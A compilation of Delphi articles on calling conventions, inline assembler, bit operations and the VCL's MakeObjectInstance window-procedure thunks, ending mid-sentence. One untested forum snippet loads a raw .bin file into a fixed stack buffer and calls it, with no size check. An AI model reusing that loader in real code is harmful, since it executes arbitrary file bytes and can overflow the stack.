ebp + 12 value of b, 4 bytes, only lowbyte significant

ebp + 08 value of i, 4 bytes

ebp + 04 return address, 4 bytes

ebp + 00 old ebp value

The parameters are cleared off the stack by the called function

using a

ret $10

instruction ($10 = 16 is the total size of the parameters on

stack).

When writing DLLs that are only be meant to be used from Delphi

programs you will usually use the register calling convention,

since it is the most efficient one. But this really ties the

DLL to Delphi, no program compiled in another language (with

the exception of BC++ Builder perhaps) will be able to use the

DLL unless it uses assembler to call the functions, since the

Register calling convention (like MS VC _fastcall) is

compiler-specific.

When writing DLLs that should be usable by other programs

regardless of language you use the stdcall calling convention

for exported routines. Any language that can call Windows API

routines will be able to call routines from such a DLL, as long

as you stay away from Delphi-specific data types, like String,

Boolean, objects, real48.

Pascal calling convention is Win16 heritage, it was the default

for the Win16 API but is no longer used on Win32.

A topic loosely tied to calling conventions is name decoration

for exported names in DLLs. Delphi (5 at least) does not

decorate names, regardless of calling convention used. The name

appears in the exported names table exactly as you cite it in

the exports clause of the DLL, case and all. Case is

significant for exported functions in Win32!

Other compilers may decorate names. Unless told to do otherwise

a C compiler will prefix all cdecl functions with an underbar

and will decorate stdcall functions in the format _name@x,

where x is the total parameter size, e.g. _Test3@16. C++ is

even worse, unless functions are declared as extern "C" it will

export names in a decorated format that encodes parameter size

and type, in a compiler-specific fashion. For routines exported

with Pascal calling convention the names may be all uppercase,

but as said above you will not usually encouter this convention

on Win32.

Due to these naming issues it is often appropriate to sic TDUMP

on an unknown DLL you want to interface to, to figure out the

actual names of the exported functions. These can then be given

in a name clause for the external statement if they are

decorated.

Demo DLL:

library DemoDLL;

uses

Windows;

function Test1(i: Integer; b: Boolean; d: Double): Integer; pascal;

begin

Result := Round(i * Ord(b) * d);

end;

function Test2(i: Integer; b: Boolean; d: Double): Integer; register;

begin

Result := Round(i * Ord(b) * d);

end;

function Test3(i: Integer; b: Boolean; d: Double): Integer; cdecl;

begin

Result := Round(i * Ord(b) * d);

end;

function Test4(i: Integer; b: Boolean; d: Double): Integer; stdcall;

begin

Result := Round(i * Ord(b) * d);

end;

exports

Test1 index 1,

Test2 index 2,

Test3 index 3,

Test4 index 4;

begin

end.

// Example call from test project:

implementation

{$R *.DFM}

function Test1(i: Integer; b: Boolean; d: Double): Integer;

pascal; external 'DEMODLL.DLL' Index 1;

function Test2(i: Integer; b: Boolean; d: Double): Integer;

register; external 'DEMODLL.DLL' Index 2;

function Test3(i: Integer; b: Boolean; d: Double): Integer;

cdecl; external 'DEMODLL.DLL' Index 3;

function Test4(i: Integer; b: Boolean; d: Double): Integer;

stdcall; external 'DEMODLL.DLL' Index 4;

procedure TForm1.Button1Click(Sender: TObject);

var

i: Integer;

begin

i := Test1(16, True, 1.0);

i := Test2(16, True, 1.0);

i := Test3(16, True, 1.0);

i := Test4(16, True, 1.0);

end;

Set breakpoints on the lines and step into the routines with the

CPU window open to see the stack layout.


内嵌汇编

简易的参数访问

procedure Foo(i:integer);

begin

///...

asm ///i:=i+1

mov eax,i

inc eax

mov i,eax

end;

///...

end;

在内嵌汇编中访问变量：

如果一个参数是在一个函数或过程参数列表中被用v a r 声明的，它实际上是一个指针而不是

值。这就是说，如果要在汇编代码中引用这个参数，一定要明确，它是一个3 2 位的指针而不是一个值。

下面代码片断中阐述了如何利用汇编代码访问用v a r 声明的变量：

procedure Foo(var i:integer);

begin

///....

asm ///i:=i+1

mov eax,i

inc dword prt [eax]

end;

///...

end;

内嵌汇编的返回值：

当使用全汇编的函数时，返回值应该怎么存放呢？

表13-1 返回值的返回方式

返回类型返回方式

Char,Byte al 寄存器

SmallInt , Word ax 寄存器

Integer,LongWord,AnsiString,Pointer,class eax 寄存器

Real48 eax 寄存器中是栈内返回值的指针

Int64 edx:eax 寄存器对

Single,Double,Extended,Comp 栈首寄存器ST(0)

注意一个ShortString 类型是作为一个指向栈内字符串临时实例的指针来返回的。

访问记录：

B A S M 提供了一种灵活的手段访问Object Pascal 记录中的域，可以在B A S M 块中访问任意记录的域，

其访问的语法是R g i s t e r. Ty p e . F i e l d 。请看下列代码：

type

TDumbRec=Record

i:integer;

c:char;

end;

下面的函数中有一个T D u m b R e c 类型的参数：

procedure AsmRecord(var Dr:TDumbRec);

asm

mov [eax].TDumbRec.i,20

mov [eax].TDumbRec.c,'A'

end;

你可能已注意到了，B A S M 对记录域的访问非常简单。另一种方式是通过计算域的偏移量来获取

或设置域的值。在B A S M 中使用记录的地方使用这项技术，将会使B A S M 更能适应数据类型的潜在变

化。


Delphi与汇编

Delphi与汇编

我一直认为Delphi功能与C＋＋相比毫不逊色，提供了丰富的控件和类、全部API以及嵌入的汇编。最近小弟在把C版的Huffman压缩改用Delphi写时，顺便“研究”了一下Delphi的位操作和嵌入式汇编，利用嵌入汇编我们可以得到高效的程序代码，完成一些Delphi没有提供的底层功能。借贵报一方宝地与大家分享我的“研究”。

    Delphi的位操作

    每个学习C的朋友都会被告之C是“中级语言”，其位操作非常方便，而Pascal之流只适用于教学。但是Delphi中提供了一组位操作，可别以过去对Pascal的态度看Delphi。

    ＊ 按位的逻辑操作：

    Delphi中的AND、OR、NOT可不仅仅只对逻辑表达式有作用，它们还可以操作数；

    AND：按位与，如：1 AND 2其结果为0

    OR：按位或，如：1 OR 2其结果为3

    Not：按位取反：如Not 1其结果对于有符号数是－2，对于无符号数是65534

    另外，还有按位异或XOR：如：1 XOR 2结果为3

    ＊ 移位操作

    Delphi提供了SHL和SHR进行移位左移和右移：

    例如：2 SHR1表示2按位右移一位结果为1。

    ＊ Delphi中的数

    既然有位的操作就一定涉及到数的类型：是有符号数（头一位用0和1表示正负）还是无符号数。

    Delphi中：Shortint（8位）、Smallint（16位）、Longint（32位）、Integer（32位）、Int64（64位）是有符号数；而Byte（8位）、Word（16位）、Longword（32位）是无符号数。它们之间可以像C一样强制转换。例如：Smallint类型的－1转换成Word类型就是65535。转换方法是Word（－1）。

    怎样，够全吧^_^！什么还不够……!?Delphi还有一招，接招吧……

    Delphi的嵌入式汇编

    Delphi中提供了几乎全部常用汇编指令的支持：MOV、JE、JMP、CMP、SHL、SHR、SAL、SAR、POP、PUSH、HLT……自己去查吧。至于INT也能识别，不过非法操作或死机可别找我（在最早的Windows95中用Delphi 3似乎可以正确运行中断，但Windows 95 OEM、Windows 98就不对了，大概是16位模块的问题，还搞不清楚）。

    ＊ 嵌入式汇编的格式

    Delphi是使用ASM……END来标志汇编语句

     如：ASM

     mov al,1

     mov bl,al

     END;

    ＊ 可操作的寄存器

    Delphi可用汇编管理以下寄存器：

    32位寄存器EAX EBX ECX EDX ESP EBP ESI EDI

    16位寄存器AX BX CX DX SP BP SI DI

    8位寄存器AL BL CL DL AH BH CH DH

     16位段寄存器CS DS SS ES

    以及协处理器寄存器堆栈 ST

    ＊ 使用汇编前的工作

    教汇编的老师一再强调使用汇编要保存寄存器现场（保存使用前的寄存器状态，使用Push压栈和Pop从栈中弹出），不过这一切对于Delphi的嵌入式汇编是没有必要的（除非你自己要使用Push和Pop），因为Delphi已经帮你做了，不必担心会使数据丢掉。

    ＊ Delphi嵌入式汇编的使用方式

    1．在一般函数过程中使用汇编

    汇编程序段可以嵌套于其它过程中：如：

    procedure TForm1.Button1Click(Sender: TObject);

    var i:smallint;

    begin

     i:=1;

     asm

     mov ax,i

     sal ax,1

     mov ＆i,ax

     end;

     showmessage(inttostr(i));

    end;

    这个程序段是把16位的变量I进行左移，然后把结果用Mov ＆I，ax语句放入I变量所在地址返回值。最后显示I 的值是2。

    2．独立的汇编程序段

    汇编程序段也可以单独写成函数或过程。这就涉及到参数的传递与结果的返回。首先Delphi对于函数的返回有一个约定：

    即：整型数据：8位的用AL返回，16位的用AX返回，32位的用EAX返回；

    实型：用ST（0）返回

    指针：用EAX返回

    长字符串：用EAX返回其所在地址

    变量：可用@Result返回

    例如：一个用汇编的求和函数

    function _Sum(X, Y: Integer): Integer;

     asm

    MOV EAX,X //把32位的数放入EAX

    ADD EAX,Y //进行加法运算

    MOV @Result,EAX //返回X＋Y

     end;

    一个把字符转化为大写的函数例子

    function _UpCase( ch : Char ) : Char;

    asm

     CMP AL,`a'

     JB @@exit

     CMP AL,`z'

     JA @@exit

     SUB AL,`a' －`A'

    @@exit:

    end;

    值得注意的是第二个例子中，没有象第一个那样把参数用语句放到寄存器中，这是由于Delphi中默认的把Byte(Char)类型放在AL中，不需要用Mov语句，但是这种函数不能是类的成员，否则结果会出错。

    3．在汇编中调用其它过程

    汇编语句中的Call语句，可以用于调用其它过程，既可以是其它汇编程序段也可以是Delphi中的标准过程：

    例如：假设新建一个窗体并在上面加了一个按钮，在Click事件中写入以下代码

    procedure TForm1.Button1Click(Sender: TObject);

    begin

     showmessage(`ok');

    end;

    再写一个过程_X

    function TForm1._x(var i:smallint):integer;

    asm

     call button1click

    end;

    执行_x的结果就可以显示消息框。

    ＊ 汇编的调试

    编好了程序，没错，还好，如果有错，就得用到调试工具：如变量的跟踪、断点、堆栈查看……对于汇编还可以用View菜单的Debug Windows的CPU窗口跟踪。

    OK！就谈到这，希望对使用Delphi的朋友有点帮助。(成都 阿杰)


Delphi的嵌入式asm

Byte快速转换为16进制字符串

上次delphi做的asm内嵌过程／函数格式是：

procedure procname(...);

asm

...

end;

    对这种过程／函数，整个由asm写成。内嵌asm还有一种常见用法，

就是在程序局部调用asm：

function bytetohex(src: byte): string;

begin

setlength(result, 2);

asm

mov edi, [result]

mov edi, [edi]

mov al, src

mov ah, al // save to ah

shr al, 4 // output high 4 bits

add al, '0'

cmp al, '9'

jbe @@outcharlo

add al, 'a'-'9'-1

@@outcharlo:

and ah, $f

add ah, '0'

cmp ah, '9'

jbe @@outchar

add ah, 'a'-'9'-1

@@outchar:

stosw

end;

end;

    该子程序可以实现把一字节的src转换为16进制形式的字符串。刚好

一位站友有这样的问题，够快了吧？ :)

************************************

用delphi写的程序，把x指针指向的4个字节次序颠倒过来：

function toulong(x: pchar): longword;

begin

result := (longword(x^) shl 24) or

(longword((x + 1)^) shl 16) or

(longword((x + 2)^) shl 8) or

(longword((x + 3)^));

end;

以下是用delphi的嵌入式汇编写法：

function toulong(x: pchar): longword;

asm

mov esi,eax

mov ax,[esi]

xchg ah,al

shl eax,16

mov ax,[esi+2]

xchg ah,al

end;

说明：默认情况下，delphi使用“register”方式，若参数在3个已内，

将分别使用eax、edx和ecx，超过3个参数部分将使用堆栈。返回参数的

存放视长度而定，例如8位用al返回，16位用ax，32位用eax，64位用用两个

32位寄存器edx:eax，其中eax是低位。

效率：本例asm大约比delphi或c快50%。


在delphi里可否调用*.bin文件

看你的bin中是怎么写的了, 如果是个完整的过程(带ret), 也许有办法. 试试下面方法

(别怪我没试就拿出来呀, 实在找不到bin可供我测试)

procedure Caller;

var

f: Integer;

l: Integer;

Buffer: array [0..4096] of Byte;

begin

f := FileOpen('YourBin.bin');

l := FileSeek(f, 0, 2);

FileSeek(f, 0, 0);

FileRead(f, Buffer[0], l);

FileClose(f);

asm

LEA EAX, Buffer

CALL EAX

end;

end;


关于连接到外部的OBJ文件

假设有一些其他语言的OBJ文件，我如何在Delphi中使用？

首先，你应该像使用DLL中的函数一样，根据相应的声明，写成Delphi的格式，然后再声明的后面写明external;例如：function GetData(var integer):integer;external;然后在你的代码文件中，添加如下的编译指令：{$L FileName.OBJ}，这样，你就可以像使用Delphi的函数一样使用那个函数或这个过程了。需要注意的是，在32位Delphi中，不能连接16位的OBJ文件，因此，需要连接的OBJ文件必须是32位格式的。


程序员眼中的对象

一、程序员的计算机

    程序员的计算只由两样东西组成：CPU和存储器。

    存储器是一组集成电路，其中每个能保存一个数字的电路为一个单元，这些单元依次编号作为地址，就跟街上的房子的门牌号码一样。

    CPU是一块集成电路，它能自动从特定存储单元开始，顺序读取存储单元，并执行读入的数字所代表的算术以修改其它存单元。这些存储单元中特定的数字代表跳到读写某个地址的存储单元，这时CPU就不再是顺序存取存储单元了。

    程序员管存储器单元中代表CPU动作的数字叫指令，CPU执行指令时使用的数字就叫操作数，或者省事点叫数据。程序员把指令数字和代表操作数的数字组合成CPU认识的数字，程序员管这种数字叫机器码。操作数可能用其值直接组合进机器码，也可能用它所在的地址组合进机器码，这得看程序员的心情了。

    二、程序员的问题

    程序员要解决一个问题，就当玩一场数字游戏，搞清楚游戏的内容和规则后，约定好表示内容和规则的数字，把它们排列进存储器，交给CPU玩。

    三、程序员的程序

    程序员看着程序，他看见了一块存储空间。

    当程序员写程序时，存储空间通常以文本的形式存在，通常用宏观的指令和表示数据含义的符号写成，他管它叫源码空间。

  然后程序员把组织好的源码空间交给一种叫程序，他知道这种程序会把收到源码的每条命令分解成若干条机器指令，在“程序虚地址空间”按排每条指令和操作数的地址。他觉得这种程序就象一个翻译，把他的语言翻译成机器的语言，又象一个编织工人把数字这种零件按排拼装成一块虚存储器，所以给它取了个好听的名字：编译器。

    当程序员运行程序时，“程序虚地址空间”被另一种程序装进实在的存储块中，并将所有对虚地址的引用换算成实际的存储器地址。这种程序的名字当然是程序载入器了。

    程序员心情好的时候也会亲自动手编织数字来写程序，早的时候许多程序都是这样写出来的，其中显然有编译器这种程序。

    四、程序员的对象

    程序员似乎不擅长处理复杂而微妙的关系，于是纷纷开始琢磨搞对象。

    对象还是一段存储单元，其中若干个连续单元里的数字表示一项数据或宏观指令，程序员称之为对象成员。对象成员存储单元里的数字可能有指令、数据或地址，而地址所代表的存储单元里可能存放着指令、数据、对象或地址，程序员管它们叫方法成员、字段成员、对象聚合、引用。

    程序员最关心对象成员的个数、含义和排列顺序，只要知道这些，他就知道该那块存储单元的结构和用法，所以管这些信息叫接口。如果两个对象具有相同的接口，程序员就用同样的方式读写它们，所以管它们叫同类对象。

    同类对象的方法指令内容显然是一样的，如果在每个对象的存储块里复制一份显然很浪费，而有些同类对象的字段成员内容也是完全一样的。程序员也感到一次又一次的重复写这些对象很麻烦，就把这些同类对象中相同的部份组织到一块存储单元中，称之为类。然后申明在对象中只保留这块共享存储单元的地址以示它属于该类。

    有时候程序员会制造有很多个成员的对象来表示复杂的事物，比如一个已成家中年男中学教师对象，有表示其为人夫方面的成员，有表示其为人父方面的成员，有表示其为人师方面的成员，显然把某一方面相关的成员放到一起会自然，而程序员也很自然的认为这些成员是与对象这方面特性打交道的接口，更自然的认为取得了这一段连续成员的起点地址就得到该接口。

    有时存储单元大小结构不同的异类对象，在不同位置上会有一段连续的相同成员，并且这些成员代表对象某方便特征或行为能力，比如说青年女中学教师也具有为人师的接口。这时程序员就认为把两者的为人师接口地址取得之后就得到了两个同类对象：教师。

    五、对象程序员的编译器

    与普通编译器一样，源码中的类、对象及成员名字符号与虚程序地址空间的对应是由编译器完成的。

    但是对象程序员的编译器会做很多复杂的，以前要程序员自己处理的事情。

    编译器把源码空间的名字修改成内部名字，然后为内部名字分配所需要的存储单元，并根据引用源码空间名字的上下文决定实际引用的地址。对象程序员往往在对象源码中定义许多同样名字但参数不同的方法。

    对象程序员有时在对象源码中申明具有某些接口，然后用任意顺序编写其成员。编译器会重新按接口的要求组织成员的存储单元。

    编译器还会把类型信息存储块附加给对象，以便在运行时也可以使用源码空间的名字。

    六、对象程序员的虚拟机

    对象程序员看不见计算机，在他看来，有一台逻辑上的机器，完成了程序运行时他写的程序需要一切支持。

    虚拟机会为程序分配内存块，将程序里的数字复制到内存块中，将其中代表地址的数字修正为实际的存储单元编号，形成进程。

    进程内的对象通常直接使用对象接口的地址或名字进行通信。

    虚拟机能把同一块内存单元与不同进程的地址空间对应起来，进程间的对象可以使用这块内存单元进行通信。程序员称之为进程间通信IPC.

    必要时虚拟机能够为不同进程内的对象提供通信代理，对象把访问要求传给代理，代理找到响应对象并完成调用和结果回送。

    七、对象程序员的世界观

    一切都是对象，对象就是存储块。

    八、对象程序员的辩证法

    封装、继承和多态是抽象公共接口与实现多样行为的对立统一。

    通过内部名字、方法指针、虚方法表、基类成员拷贝等内存标记、操纵技巧实现这种对立统一。

    九、对象程序员的口胃

    甜。面象对象编程语言不过是些语法糖，如果能洞悉语法背后的内幕，那么吃起来就象酒心巧克力，如果迷惑于表面，那吃起来就象牛皮糖。

    十、对象程序的诞生

    面象对象编程诞生那天，面象对象程序员也就诞生了。

    对象程序，只是含义为指令和操作数的数字序列，两者没有形式差别，于是编程必须小心翼翼，不要混肴。

    从实践中，人们领悟到人为把指令和操作数分成不同的存储块是极为方便的，于是发明了运行时堆栈框架；为了减少重复节省存储器程序员们发明了子程序调用；为了解决复杂问题，程序员又发明了结构化编程和模块化。

    然而对于涉及大量数据、模块的复杂动态系统，即使是模块化开发也是极为麻烦的，即使小心翼翼也难于应付。

    于是人们醒悟：我们不关心程序的指令，那是静态的，暂时的，我们需要的是数据，那才是结果所在。

    于封装被发明了：把一组数据及操纵方法放到一起，视为逻辑整体，通过接口访问。

    新世界的大门打开了。


VCL窗口函数注册机制研究手记，兼与MFC比较

VCL窗口函数注册机制研究手记，兼与MFC比较

By 王捷 cheka@yeah.net （转载请保留此信息）

这个名字起的有些耸人听闻，无他意，只为吸引眼球而已，如果您对下列关键词有兴

趣，希望不要错过本文：

1. VCL可视组件在内存中的分页式管理;

2. 让系统回调类的成员方法

3. Delphi 中汇编指令的使用

4. Hardcore

5. 第4条是骗你的

我们知道Windows平台上的GUI程序都必须遵循Windows的消息响应机制，可以简单概括

如下，所有的窗口控件都向系统注册自身的窗口函数，运行期间消息可被指派至特定窗口

控件的窗口函数处理。对消息相应机制做这样的概括有失严密，请各位见谅，我想赶紧转

向本文重点，即在利用Object Pascali或是C++这样的面向对象语言编程中，如何把一个类

的成员方法向系统注册以供回调。

在注册窗口类即调用RegisterClass函数时，我们向系统传递的是一个WindowProc 类

型的函数指针

WindowProc 的定义如下

LRESULT CALLBACK WindowProc(

HWND hwnd, // handle to window

UINT uMsg, // message identifier

WPARAM wParam, // first message parameter

LPARAM lParam // second message parameter

)；

如果我们有一个控件类，它拥有看似具有相同定义的成员方法TMyControl.WindowProc,

可是却不能够将它的首地址作为lpfnWndProc参数传给RegisterClass，道理很简单，因为

Delphi中所有类成员方法都有一个隐含的参数，也就是Self，因此无法符合标准

WindowProc 的定义。

那么，在VCL中，控件向系统注册时究竟传递了一个什么样的窗口指针，同时通过这个

指针又是如何调到各个类的事件响应方法呢？我先卖个关子，先看看MFC是怎么做的。

在调查MFC代码之前，我作过两种猜想：

一，作注册用的函数指针指向的是一个类的静态方法，

静态方法同样不需要隐含参数 this （对应 Delphi中的 Self ,不过Object Pascal不支持

静态方法）

二，作注册用的函数指针指向的是一个全局函数，这当然最传统，没什么好说的。

经过简单的跟踪，我发现MFC中，全局函数AfxWndProc是整个MFC程序处理消息的“根

节点”，也就是说，所有的消息都由它指派给不同控件的消息响应函数，也就是说，所有

的窗口控件向系统注册的窗口函数很可能就是 AfxWndProc （抱歉没做深入研究，如果不

对请指正）。而AfxWndProc 是如何调用各个窗口类的WndProc呢？

哈哈，MFC用了一种很朴素的机制，相比它那么多稀奇古怪的宏来说，这种机制相当好理解：使用一个全局的Map数据结构来维护所有的窗口对象和Handle(其中Handle为键值），然后AfxWndProc根据Handle来找出唯一对应的窗口对象（使用静态函数CWnd::FromHandlePermanent(HWND hWnd) ），然后调用其WndProc，注意WndProc可是虚拟方法，因此消息能够正确到达所指定窗口类的消息响应函数并被处理。

于是我们有理由猜想VCL也可能采用相同的机制，毕竟这种方式实现起来很简单。我确

实是这么猜的，不过结论是我错了......

开场秀结束，好戏正式上演。

在Form1上放一个Button(缺省名为Button1),在其OnClick事件中写些代码，加上断点，

F9运行，当停留在断点上时，打开Call Stack窗口（View->Debug Window->Call Stack，

或者按Ctrl-Alt-S )可看到调用顺序如下（从底往上看，stack嘛）

( 如果你看到的 Stack 和这个不一致，请打开DCU 调试开关

Project->Options->Compiler->Use Debug DCUs, 这个开关如果不打开，是没法调试VCL

源码的 )

TForm1.Button1Click(???)

TControl.Click

TButton.Click

TButton.CNCommand ((48401, 3880, 0, 3880, 0))

TControl.WndProc ((48401, 3880, 3880, 0, 3880, 0, 3880, 0, 0, 0))

TWinControl.WndProc ((48401, 3880, 3880, 0, 3880, 0, 3880, 0, 0, 0))

TButtonControl.WndProc ((48401, 3880, 3880, 0, 3880, 0, 3880, 0, 0, 0))

TControl.Perform (48401,3880,3880)

DoControlMsg (3880,(no value))

TWinControl.WMComman d((273, 3880, 0, 3880, 0))

TCustomForm.WMCommand ((273, 3880, 0, 3880, 0))

TControl.WndProc ((273, 3880, 3880, 0, 3880, 0, 3880, 0, 0, 0))

TWinControl.WndProc((273, 3880, 3880, 0, 3880, 0, 3880, 0, 0, 0))

TCustomForm.WndProc ((273, 3880, 3880, 0, 3880, 0, 3880, 0, 0, 0))

TWinControl.MainWndProc ((273, 3880, 3880, 0, 3880, 0, 3880, 0, 0, 0))

StdWndProc (3792,273,3880,3880)

可见 StdWndProc 看上去象是扮演了MFC中 AfxWndProc 的角色，不过我们先不谈它，

如果你抑制不住好奇心，可以提前去看它的源码，在Forms.pas中，看到了么? 是不是

特~~~~别有趣阿。

实际上，VCL在RegisterClass时传递的窗口函数指针并非指向StdWndProc。那是什么

呢？

我跟，我跟，我跟跟跟，终于在Controls.pas的TWindowControl的实现代码中

（procedure TWinControl.CreateWnd;) 看到了RegisterClass的调用,hoho，终于找到组

织了......别忙，发现了没，这时候注册的窗口函数是InitWndProc，看看它的定义，嗯，

符合标准，再去瞧瞧代码都干了些什么。

发现这句：

SetWindowLong(HWindow, GWL_WNDPROC,Longint(CreationControl.FObjectInstance));

我Faint，搞了半天InitWndProc初次被调用（对每一个Wincontrol来说）就把自个儿

给换了，新上岗的是FObjectInstance。下面还有一小段汇编，是紧接着调用

FObjectInstance的，调用的理由不奇怪，因为以后调用FObjectInstace都由系统CallBack

了，但现在还得劳InitWndProc的大驾去call。调用的方式有些讲究，不过留给您看完这篇

文章后自个儿琢磨去吧。

接下来只能继续看FObjectInstance是什么东东，它定义在 TWinControl 的 Private

段，是个Pointer也就是个普通指针，当什么使都行，你跟Windows说它就是 WndProc 型指

针 Windows 拿你也没辙。

FObjectInstance究竟指向何处呢，镜头移向 TWincontrol 的构造函数，这是

FObjectInstance初次被赋值的地方。 多余的代码不用看，焦点放在这句上

FObjectInstance := MakeObjectInstance(MainWndProc);

可以先告诉您，MakeObjectInstance是本主题最精彩之处，但是您现在只需知道

FObjectInstance“指向了”MainWndProc，也就是说通过某种途径VCL把每个MainWndProc

作为窗口函数注册了，先证明容易的，即 MainWndProc 具备窗口函数的功能，来看代码：

( 省去异常处理 )

procedure TWinControl.MainWndProc(var Message: TMessage);

begin

WindowProc(Message);

FreeDeviceContexts;

FreeMemoryContexts;

end;

FreeDeviceContexts; 和 FreeMemoryContexts 是保证VCL线程安全的，不在本文讨论之列

，只看WindowProc(Message); 原来 MainWndProc 把消息委托给了方法 WindowProc处理，

注意到 MainWndProc 不是虚拟方法，而 WindowProc 则是虚拟的，了解 Design Pattern

的朋友应该点头了，嗯，是个 Template Method ， 很自然也很经典的用法，这样一来所有

的消息都能准确到达目的地，也就是说从功能上看 MainWndProc 确实可以充作窗口函数。

您现在可以回顾一下MFC的 AfxWindowProc 的做法，同样是利用对象的多态性，但是两种方

式有所区别。

是不是有点乱了呢，让我们总结一下，VCL 注册窗口函数分三步：

1. [ TWinControl.Create ]

FObjectInstance 指向了 MainWndProc

2. [ TWinControl.CreateWnd ]

WindowClass.lpfnWndProc 值为 @InitWndProc;

调用Windows.RegisterClass(WindowClass)向系统注册

3. [ InitWndProc 初次被Callback时 ]

SetWindowLong(HWindow, GWL_WNDPROC, Longint(CreationControl.FObjectInstance))

窗口函数被偷梁换柱，从此 InitWndProc 退隐江湖

（注意是对每个TWinControl控件来说，InitWndProc 只被调用一次）

前面说过，非静态的类方法是不能注册成为窗口函数的，特别是Delphi中

根本没有静态类方法，那么MainWndProc 也不能有特权（当然宝兰可以为此在编译器上动点

手脚，如果他们不怕成为呕像的话）。

那么，那么，您应该意识到了，在幕后操纵一切的，正是......

背景打出字幕

超级巨星：麦克奥布吉特因斯坦斯

（MakeObjectInstance）

天空出现闪电，哦耶，主角才刚刚亮相。

废话不说，代码伺候：

（ 原始码在 Form.pas 中，“{}”中是原始的注释，而“ //” 后的是我所加，您可以直

接就注释代码，也可以先看我下面的评论，再回头啃code ）

// 共占 13 Bytes，变体纪录以最大值为准

type

PObjectInstance = ^TObjectInstance;

TObjectInstance = packed record

Code: Byte; // 1 Bytes

Offset: Integer; // 4 Bytes

case Integer of

0: (Next: PObjectInstance); // 4 Bytes

1: (Method: TWndMethod); // 8 Bytes

// TWndMethod 是一个指向对象方法的指针，

// 事实上是一个指针对，包含方法指针以

// 及一个对象的指针（即Self ）

end;

// 313是满足整个TInstanceBlock的大小不超过4096的最大值

InstanceCount = 313;

// 共占 4079 Bytes

type

PInstanceBlock = ^TInstanceBlock;

TInstanceBlock = packed record

Next: PInstanceBlock; // 4 Bytes

Code: array[1..2] of Byte; // 2 Bytes

WndProcPtr: Pointer; // 4 Bytes

Instances: array[0..InstanceCount] of TObjectInstance; 313 * 13 = 4069

end;

function CalcJmpOffset(Src, Dest: Pointer): Longint;

begin

Result := Longint(Dest) - (Longint(Src) + 5);

end;

function MakeObjectInstance(Method: TWndMethod): Pointer;

const

BlockCode: array[1..2] of Byte = (

$59, { POP ECX }

$E9); { JMP StdWndProc } // 实际上只有一个JMP

PageSize = 4096;

var

Block: PInstanceBlock;

Instance: PObjectInstance;

begin

// InstFreeList = nil 表明一个Instance block已被占满，于是需要为一个新

// Instance block分配空间，一个个Instance block通过PinstanceBlock中的

// Next 指针相连，形成一个链表，其头指针为InstBlockList

if InstFreeList = nil then

begin

// 为Instance block分配虚拟内存，并指定这块内存为可读写并可执行

// PageSize 为4096。

Block := VirtualAlloc(nil, PageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

Block^.Next := InstBlockList;

Move(BlockCode, Block^.Code, SizeOf(BlockCode));

Block^.WndProcPtr := Pointer(CalcJmpOffset(@Block^.Code[2], @StdWndProc));

// 以下代码建立一个Instance的链表

Instance := @Block^.Instances;

repeat

Instance^.Code := $E8; { CALL NEAR PTR Offset }

//算出相对 jmp StdWndProc指令的偏移量，放在$E8的后面

Instance^.Offset := CalcJmpOffset(Instance, @Block^.Code);

Instance^.Next := InstFreeList;

InstFreeList := Instance;

// 必须有这步，让Instance指针移至当前instance子块的底部

Inc(Longint(Instance), SizeOf(TObjectInstance));

// 判断一个Instance block是否已被构造完毕

until Longint(Instance) - Longint(Block) >= SizeOf(TInstanceBlock);

InstBlockList := Block;

end;

Result := InstFreeList;

Instance := InstFreeList;

InstFreeList := Instance^.Next;

Instance^.Method := Method;

end;

不要小看这区区几十行代码的能量，就是它们对 VCL 的可视组件进行了分页式管理，

（代码中对两个链表进行操作，InstanceBlock 中有 ObjectInstance 的链表，而一个个

InstanceBlock 又构成一个链表 ）一个 InstanceBlock 为一页，有4096 字节，虽然

InstanceBlock 实际使用的只有 4079 字节，不过为了 Alignment ,就加了些 padding

凑满 4096 。从代码可见每一页中可容纳 313 个所谓的ObjectInstance，如果望文生义

很容易将这个 ObjectInstance 误解为对象实例，其实不然，每个ObjectInstance 其实是

一小段可执行代码，而这些可执行代码不是编译期间生成的，也不是象虚拟函数那样滞后

联编，而根本就是MakeObjectInstance 在运行期间“创作”的（天哪）! 也就是说，

MakeObjectInstance 将所有的可视VCL组件 改造成了一页页的可执行代码区域，是不是

很了不起呢。

不明白ObjectInstance所对应的代码是做什么的么？没关系，一起来看

call - - - - - - - - - - - > pop ECX // 在call 之前，下一个指令的地址会被压栈

@MainWndProc // 紧接着执行pop ECX, 为何这么做呢？

@Object(即Self) // 前面注释中提过

答案在 StdWndProc 的代码中，要命哦，全是汇编，可是无限风光在险峰，硬着头皮闯

一回吧。

果不其然，我们发现其中用到了ECX

function StdWndProc(Window: HWND; Message, WParam: Longint;

LParam: Longint): Longint; stdcall; assembler;

asm

XOR EAX,EAX

PUSH EAX

PUSH LParam

PUSH WParam

PUSH Message

MOV EDX,ESP

MOV EAX,[ECX].Longint[4] // 相当于 MOV EAX, [ECX+4] ( [ECX+4] 是什么？就是Self )

CALL [ECX].Pointer // 相当于 CALL [ECX] , 也就是调用 MainWndProc

ADD ESP,12

POP EAX

end;

这段汇编中在调用MainWndProc前作了些参数传递的工作，由于MainWndProc 的定义如

下:

procedure TwinControl..MainWndProc(var Message: TMessage);

根据Delphi 的约定，这种情况下隐函数Self 作为第一个参数，放入EAX 中，

TMessage 结构的指针作为第二个参数，放入EDX中，而Message的指针从哪儿来呢？我们看

到在连续几个 Push 之后，程序已经在堆栈中构造了一个TMessage 结构，而这时的ESP

当然就是这个结构的指针，于是将它赋给EDX 。如果您不熟悉这方面的约定，可以参考

Delphi 的帮助Object Pascal Refrence -> Program Control。

现在真相大白，Windows 消息百转千折终于传进MainWndProc , 不过这一路也可谓相

当精彩，MakeObject这一函数自然是居功至伟， StdWndProc 也同样是幕后英雄，让我们

把 MakeObjectInstance 作出的代码和StdWndProc 连接起来，哦，堪称鬼斧神工.

( 大富翁没法显示图像，可以去

http://jp.njuct.edu.cn/crystal/article%20hardcore.htm

看完整全文，感谢房客支持）

就此在总结一下， FobjectInstance 被VCL 注册为窗口函数，而实际上

FObjectInstance 并不实际指向某个函数，而是指向一个ObjectInstance, 而后者我们已

经知道是一系列相接的可执行代码段当中的一块，当系统需要将 FObjectInstance 当做

窗口函数作为回调时，实际进入了ObjectInstance 所在的代码段，然后几番跳跃腾挪（

一个call 加一个 jump ）来到StdWndProc ，StdWndProc 的主要功用在于将Self 指针

压栈，并把Windows的消息包装成Delphi的TMessage 结构，如此才能成功调用到

TWinControl类的成员方法 MainWndProc, 消息一旦进入MainWndProc 便可以轻车熟路一路

